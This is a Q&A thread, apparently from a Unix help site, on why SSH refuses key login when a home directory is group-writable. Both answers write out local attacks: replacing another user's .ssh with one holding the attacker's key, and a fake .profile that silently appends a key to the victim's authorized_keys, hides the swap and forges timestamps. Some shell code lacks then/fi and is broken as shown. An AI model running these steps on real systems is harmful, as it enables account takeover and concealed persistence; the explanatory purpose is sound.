Why is it a security risk for SSH with public-private key if the home folder is writable for the group?

I spent a long time trying to figure out why SSH with a public-private key wasn’t working for me between two servers. It turned out that, the reason was, that the user’s home directory was writ-able for the group on the server I tried to connect to.

What is the increased security risk for SSH to deny public-private key login, when the user folder is writeable to the group versus when it is not writ-able to the group? I understand the rationale for the expected restrictive limitation of .ssh folder themselves, and so the files within it. But, why is there a danger for home directory itself? What constellation can do this dangerously?

Asked By: Matthias Ronge


If the home directory is group-writable, any user in that group can modify the .ssh directory itself, e.g.:

mv ~some_user/.ssh /who/cares/where
mkdir ~some_user/.ssh
cp /my/public/key ~some_user/.ssh/authorized_keys

And gain access to that user’s account.

Answered By: muru

If /home, or any other parent of an .ssh directory is writable I can move the direct children out of the way causing at the very least a denial of service:

ls -ld /home
drwxrwxrwx 9 root root 20480 Sep  4 21:28 /home

mv /home/victim /home/casualty

Now victim cannot log in with an ssh key. (A password would still work, though.)

Let’s assume that "victim" has a valid password and can shrug off the failure of the ssh key as just one of those things. Particularly as (we hope) it won’t be a reproducible problem. In this scenario we can create a quiet escalation of privilege:

# Save the original directory and contents
mv /home/victim /home/casualty
mkdir -m777 /home/victim

# Create a fake profile to place and then hide the evidence
cat <<'EOF' >/home/victim/.profile

if [ -r /tmp/.id.pub ] && [ -d /home/casualty ]
    # Not really very nice
    mkdir -m700 -p /home/casualty/.ssh
    cat /tmp/.id.pub >>/home/casualty/.ssh/authorized_keys

mv /home/victim /home/victim.nomore
mv /home/casualty /home/victim

if [ "$SHELL" = /bin/bash ]
    if [ -f /home/victim/.bash_profile ]
        . /home/victim/.bash_profile
    elif [ -f /home/victim/.profile ]
        . /home/victim/.profile
    [ -f /home/victim/.profile ] && . /home/victim/.profile

rm -rf /home/victim.nomore

Finally, place your own public ssh key into /tmp/.id.pub and wait for the victim to log in. Once they have done that you should find that your own ssh key has been added to their authorized_keys list and you can log in as them:

 ssh victim@remoteHost

For bonus points you could extend the attack to capture the original datestamp on the authorized_keys file and restore it after adding your own key (see stat --format '%Y' and touch --date).

If the scenario is simply that a user’s home directory itself it writeable, then to my knowledge only generate a denial of service against the ssh keys themselves:

cd ~victim
mv .ssh .ssh.casualty

Either leave it like that, so that ssh keys are no longer available, or attempt to add a new key:

mkdir -m755 .ssh
cat /tmp/.id.pub .ssh.casualty/authorized_keys >.ssh/authorized_keys

In this second case ssh objects, and the attack fails:

Sep  5 15:16:51 pi sshd[16695]: Authentication refused: bad ownership or modes for directory /home/victim

Ownership and permissions are still checked on .ssh and .ssh/authorized_keys, however, so you are really no better off.

Answered By: roaima
Categories: Answers Tags:
Answers are sorted by their score. The answer accepted by the question owner as the best is marked with
at the top-right corner.